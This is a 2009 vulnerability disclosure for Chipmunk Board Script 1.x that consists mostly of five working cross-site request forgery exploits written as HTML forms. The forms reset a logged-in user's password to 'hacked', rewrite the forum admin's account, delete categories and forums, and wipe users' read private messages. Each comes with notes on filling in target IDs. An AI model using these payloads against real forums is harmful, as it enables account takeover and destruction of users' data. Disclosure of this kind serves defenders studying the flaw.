114 lines
No EOL
5.5 KiB
Text
114 lines
No EOL
5.5 KiB
Text
[-------------------------------------------------------------------------------------------------]
|
|
[ Title: Chipmunk Board Script 1.x Multiple XSRF Vulnerabilities ]
|
|
[ Author: Milos Zivanovic ]
|
|
[ Email: milosz.security[at]gmail.com<http://gmail.com> ]
|
|
[ Date: 11. December 2009. ]
|
|
[-------------------------------------------------------------------------------------------------]
|
|
|
|
[-------------------------------------------------------------------------------------------------]
|
|
[ Application: Chipmunk Board Script ]
|
|
[ Version: 1.X ]
|
|
[ Download: http://www.chipmunk-scripts.com/chipmunkcms/chipmunkcms.zip ]
|
|
[ Vulnerability: Cross Site Request Forgery ]
|
|
[-------------------------------------------------------------------------------------------------]
|
|
|
|
I installed this board script locally and started looking, it didn't take much to notice first
|
|
vulnerability. I found many vulnerabilities that could be exploited via cross site request forgery
|
|
method, but i'm only going to show you more important ones.
|
|
|
|
This board script doesn't have any XSRF protection thus allowing us to do many things we shouldn't
|
|
:)
|
|
|
|
[#]Content
|
|
|--Change user settings (usercp)
|
|
|--Change user settings (admincp)
|
|
|--Delete category
|
|
|--Delete forum
|
|
|--Delete read private messages
|
|
|
|
Every exploit that has
|
|
|
|
[*]Change user settings (usercp)
|
|
|
|
This exploit will change this info for every user that opens it and is logged in.
|
|
|
|
[EXPLOIT------------------------------------------------------------------------------------------]
|
|
<form action="http://localhost/cboard/usercp.php" method="POST">
|
|
<input type='hidden' name='username' value=''>
|
|
<input type='password' name='password' value='hacked'>
|
|
<input type='password' name='password2' value='hacked'>
|
|
<input type='hidden' name='usepm' value='1'>
|
|
<input type='text' name='email' value='email@mail.com<mailto:email@mail.com>'>
|
|
<input type='text' name='location' value='Moon'>
|
|
<input type='text' name='aim' value='AIM:...'>
|
|
<input type='text' name='icq' value='ICQ:...'>
|
|
<input type='hidden' name='showprofile' value='1'>
|
|
<input type='hidden' name='avatar' value=''>
|
|
<input type='hidden' name='forumtemplate' value='1'>
|
|
<textarea name='signature'>Free your mind and the ass will follow.</textarea>
|
|
<input type='submit' name='submit' value='change details'>
|
|
</form>
|
|
|
|
[EXPLOIT------------------------------------------------------------------------------------------]
|
|
|
|
[*]Change user settings (admincp)
|
|
|
|
Note: Change [ID] to the id of the forum admin.
|
|
(you can view that by viewing his profile on the forum, usually 1-2)
|
|
Admins must run this exploit.
|
|
|
|
[EXPLOIT------------------------------------------------------------------------------------------]
|
|
<form action="http://localhost/cboard/admin/edituser.php" method="POST">
|
|
<input type='hidden' name='userid' value='[ID]'>
|
|
<input type='text' name='username' value='admin'>
|
|
<input type='password' name='password' value='hacked'>
|
|
<input type='hidden' name='userstatus' value='4'>
|
|
<input type='text' name='email' value='email@mail.com<mailto:email@mail.com>'>
|
|
<input type='text' name='rank' value='0'>
|
|
<input type='hidden' name='isbanned' value='No'>
|
|
<textarea name='sig'>this is my signature</textarea>
|
|
<input type='submit' name='submit' value='Edit This user'>
|
|
</form>
|
|
|
|
[EXPLOIT------------------------------------------------------------------------------------------]
|
|
|
|
[-]Delete category
|
|
|
|
Note: Change [ID] to the id of the category you want to delete.
|
|
Admins must run this exploit.
|
|
|
|
[EXPLOIT------------------------------------------------------------------------------------------]
|
|
<form action="http://localhost/cboard/admin/deletecat.php?categoryid=[ID]" method="POST">
|
|
<input type='hidden' name='catid' value='[ID]'>
|
|
<input type='submit' name='submit' value='Delete This Forum'>
|
|
</form>
|
|
|
|
[EXPLOIT------------------------------------------------------------------------------------------]
|
|
|
|
[-]Delete forum
|
|
|
|
Note: Change [ID] to the id of the forum you want to delete.
|
|
Admins must run this exploit.
|
|
|
|
[EXPLOIT------------------------------------------------------------------------------------------]
|
|
<form action="http://localhost/cboard/admin/deleteforum.php?ID=[ID]" method="POST">
|
|
<input type='hidden' name='ID' value='[ID]'>
|
|
<input type='submit' name='submit' value='Delete This Forum'>
|
|
</form>
|
|
|
|
[EXPLOIT------------------------------------------------------------------------------------------]
|
|
|
|
[-]Delete read private messages
|
|
|
|
This exploit will delete read private messages for every user that opens it and is logged in.
|
|
|
|
[EXPLOIT------------------------------------------------------------------------------------------]
|
|
<form action="http://localhost/cboard/pm/deleteread.php" method="POST">
|
|
<input type='submit' name='submit' value='delete'>
|
|
</form>
|
|
|
|
[EXPLOIT------------------------------------------------------------------------------------------]
|
|
|
|
[-------------------------------------------------------------------------------------------------]
|
|
[ EOF ]
|
|
[-------------------------------------------------------------------------------------------------] |